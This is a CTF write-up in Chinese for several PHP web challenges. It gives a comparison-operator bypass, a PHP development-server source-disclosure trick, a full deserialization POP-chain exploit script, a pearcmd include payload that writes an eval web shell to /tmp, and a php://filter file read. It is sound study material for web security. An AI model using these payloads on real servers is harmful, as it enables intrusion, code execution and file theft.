WP原文:https://rb61qxxiv7.feishu.cn/docs/doccnFcZA8xHDlJNUFQs4QEXqvg#
就做出来了一个ezphp,而且还是靠google原题嗯抄的,学习之路真是任重而道远。

WEB
babyPHP
<?php
highlight_file(__FILE__);
error_reporting(0);
$num = $_GET['num'];
if (preg_match("/\'|\"|\`| |<|>|?|\^|%|\$/", $num)) {
           die("nononno");
}
if (eval("return ${num} != 2;") && $num == 0 && is_numeric($num) != true) {
 system('cat flag.php');
} else {
 echo '2';
}
题目主要考察的是php的运算符的比较级。
payload:?num=1|2
flag在源代码里面。
funnyPHP
上来给出的地址是:/hint.php,页面下为phpinfo()参数页面:
访问根目录/出现以下情况:
这里为 PHP Development Server 启动的服务。然后就出现了本题的考点:
PHP<=7.4.21 Development Server源码泄露漏洞
https://cn-sec.com/archives/1530845.html
https://blog.projectdiscovery.io/php-http-server-source-disclosure/
我最开始在bp中手动输入那个\r\n但是发现不行,经过尝试才知道需要先关闭Updates COntentLength并且打开hide non—printable chars,这两个分别在以下位置:
和
分别打开之后,按照以下格式发送即可。
之后就能够获得到puzzle.php的内容。其中考察的是php的反序列化。
<?php
error_reporting(0);
class A{
    public $sdpc = ["welcome" => "yeah, something hidden."];
    function __call($name, $arguments)
    {
        $this->$name[$name]();
    }
}
class B{
    public $a;
    function __construct()
    {
        $this->a = new A();
    }
    function __toString()
    {
        echo $this->a->sdpc["welcome"]; //对大家表示欢迎
    }
}
class C{
    public $b;
    protected $c;
    function __construct(){
        $this->c = new B();
    }
    function __destruct(){
        $this->b ? $this->c->sdpc('welcom') : 'welcome!'.$this->c; //变着法欢迎大家
    }
}
class Evil{
    function getflag() {
        echo file_get_contents('/fl4g');
    }
}
if(isset($_POST['sdpc'])) {
    unserialize($_POST['sdpc']);
} else {
    serialize(new C());
}
?>
exp.php
<?php
error_reporting(0);
class A
{
    public $sdpc;
    function __construct() {
        $this->sdpc = array("sdpc" => array(new Evil(),'getflag'));
    }
    function __call($name, $arguments)
    {
        $name[$arguments]();
    }
}
class B
{
    public $a;
    function __construct()
    {
        $this->a = new A();
    }
    function __toString()
    {
        echo $this->a->sdpc["welcome"]; //对大家表示欢迎
    }
}
class C
{
    public $b;
    protected $c;
    function __construct()
    {
        $this->c = new A();
    }
    function __destruct()
    {
        $this->b ? $this->c->sdpc('welcom') : 'welcome!' . $this->c; //设置 b ,触发 ___call
    }
}
class Evil
{
    function getflag()
    {
        echo '1';
        file_get_contents('/fl4g');
    }
}
$ca = new A();
$cb = new B();
$cc = new C();
$cc->b = 'sp4c1ous';
echo urlencode(serialize($cc));
用post传入:
ezinclude
pearcmd的利用,但是并不会。先把官方wp粘在这里吧。
?+config-create+/&sdpc=/usr/local/lib/php/pearcmd.php&/<?eval($_POST[0]);?>+/tmp/hello.php

ezphp
就做出来了这一个,还是抄的。。。
<?php
error_reporting(0);
highlight_file(__FILE__);
$g = $_GET['g'];
$t = $_GET['t'];
echo new $g($t);
根据图片,直接传入payload:
?g=SplFileObject&t=php://filter/convert.base64-encode/resource=flag.php